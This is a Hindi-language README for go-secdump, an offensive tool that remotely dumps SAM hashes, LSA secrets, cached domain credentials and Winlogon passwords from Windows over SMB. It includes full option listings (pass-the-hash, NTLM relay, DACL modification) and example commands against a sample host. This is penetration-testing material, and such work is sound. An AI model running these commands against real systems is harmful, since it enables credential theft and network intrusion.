
Windows रजिस्ट्री से दूरस्थ रूप से रहस्य डंप करने का उपकरण
पैकेज go-secdump एक उपकरण है जो SAM रजिस्ट्री हाइव से हैश, साथ ही LSA गुप्त सूचनाएँ और SECURITY हाइव से कैश्ड हैश, बिना किसी दूरस्थ एजेंट और बिना डिस्क को छुए दूरस्थ रूप से निकालने के लिए बनाया गया है।
यह उपकरण लाइब्रेरी go-smb के ऊपर बनाया गया है और इसका उपयोग Windows रिमोट रजिस्ट्री के साथ संवाद करने के लिए किया जाता है ताकि रजिस्ट्री कुंजियों को सीधे मेमोरी से प्राप्त किया जा सके।
इसे एक सीखने के अनुभव और इस अवधारणा के प्रमाण के रूप में बनाया गया था कि SAM हाइव से NT हैश, LSA गुप्त सूचनाएँ, और डोमेन कैश्ड क्रेडेंशियल्स को दूरस्थ रूप से प्राप्त करना संभव होना चाहिए, बिना पहले रजिस्ट्री हाइव को डिस्क पर सहेजे और फिर उन्हें स्थानीय रूप से पार्स किए।
मुख्य समस्या जिसे हल करना था वह यह थी कि SAM और SECURITY हाइव केवल NT AUTHORITY\SYSTEM द्वारा पढ़ने योग्य हैं। हालाँकि, मैंने देखा कि स्थानीय समूह प्रशासकों के पास रजिस्ट्री हाइव पर WriteDACL अनुमति थी और इस प्रकार वे गुप्त सूचनाओं को पुनः प्राप्त करने के लिए अस्थायी रूप से स्वयं को पढ़ने की अनुमति दे सकते थे और फिर मूल अनुमतियों को बहाल कर सकते थे।
हालाँकि, फरवरी 2025 में Synacktiv में Julien Egloff द्वारा एक बेहतर दृष्टिकोण खोजा गया। BaseRegOpenKey अनुरोध, जो रजिस्ट्री कुंजियों के हैंडल खोलने के लिए उपयोग किया जाता है, में SeBackupPrivilege को लागू करने का एक विकल्प है जो हमें पहले DACLs को बदले बिना रजिस्ट्री कुंजियों को खोलने की अनुमति देता है। उपकरण को इस नए दृष्टिकोण को प्राथमिकता देने के लिए अपडेट किया गया है और केवल तभी DACLs बदलता है जब स्पष्ट रूप से कहा जाए।
इस परियोजना का अधिकांश कोड Impacket के secdump से प्रेरित/लिया गया है, लेकिन Windows रजिस्ट्री तक दूरस्थ रूप से पहुँचने और केवल आवश्यक रजिस्ट्री कुंजियों तक पहुँचने के लिए रूपांतरित किया गया है।
रजिस्ट्री संरचना और एन्क्रिप्शन विधियों को समझने में उपयोगी कुछ अन्य स्रोत नीचे सूचीबद्ध हैं:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
SeBackupPrivilege का उपयोग करने का विचार Synacktiv से आया: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server. Must be hostname when using Kerberos
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
--dc-ip <ip> Optionally specify ip of KDC when using Kerberos authentication
--target-ip <ip> Optionally specify ip of target when using Kerberos authentication
--aes-key <hex> Use a hex encoded AES128/256 key for Kerberos authentication
--keytab-file <file> Authenticate using keys from a keytab file (implies -k). User and
domain are taken from the first keytab entry if not specified
--dns-host <ip[:port]> Override system's default DNS resolver
--dns-tcp Force DNS lookups over TCP. Default true when using --socks-host
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only other explicit targets are included.
--misc Extract misc registry secrets such as the Winlogon
DefaultPassword explicitly. Only other explicit targets are included.
--modify-dacl Change DACLs of reg keys before dump.
Only required if keys cannot be opened using SeBackupPrivilege. (default false)
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file <file> Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout <duration> Dial timeout in format 5s or 2m (default 5s)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging. Bare --debug turns on every
registered package; --debug=msrrp,smb turns on only the
listed package-name suffixes (the '=' form is required
for the filter).
--verbose Enable verbose logging. Same filter syntax as --debug.
--debug and --verbose may be combined with different
filters; a package targeted by both gets the higher level.
--list-log-packages List the registered log package names that can be
targeted with --debug=<suffix> or --verbose=<suffix>,
then exit
-o, --output <file> Filename for writing results (default is stdout). Will append to file if it exists.
--output-format <fmt> Output format: text (default), json, or hashcat
--history Include historical (OldVal) LSA secrets in addition to current values
-q, --quiet Suppress informational headers; print only secrets
-v, --version Show version
अब केवल एक वैकल्पिक सुविधा के रूप में --modify-dacl के साथ सक्षम, go-secdump स्वचालित रूप से आवश्यक रजिस्ट्री कुंजियों के DACLs को संशोधित करने और फिर बहाल करने का प्रयास करेगा। हालाँकि, यदि बहाली के दौरान नेटवर्क डिस्कनेक्ट या अन्य रुकावट जैसी कोई समस्या होती है, तो दूरस्थ रजिस्ट्री संशोधित DACLs के साथ छोड़ दी जाएगी।
--backup-dacl तर्क का उपयोग करके, संशोधन से पहले मूल DACLs की एक क्रमबद्ध प्रतिलिपि संग्रहीत करना संभव है।
यदि कनेक्टिविटी समस्या होती है, तो DACLs को बाद में --restore-dacl तर्क का उपयोग करके फ़ाइल से पुनर्स्थापित किया जा सकता है।
SeBackupPrivilege ट्रिक का उपयोग करके सभी रजिस्ट्री गुप्त सूचनाएँ डंप करें
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
केवल SAM, LSA, DCC2 कैश, या मिश्रित रजिस्ट्री गुप्त सूचनाएँ डंप करें
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
--misc लक्ष्य उन मिश्रित रजिस्ट्री गुप्त सूचनाओं को निकालता है जो SAM/LSA/DCC2 हाइव से संबंधित नहीं हैं, वर्तमान में Winlogon ऑटो-लॉगिन DefaultPassword (और संबद्ध DefaultUserName) जब मौजूद हो।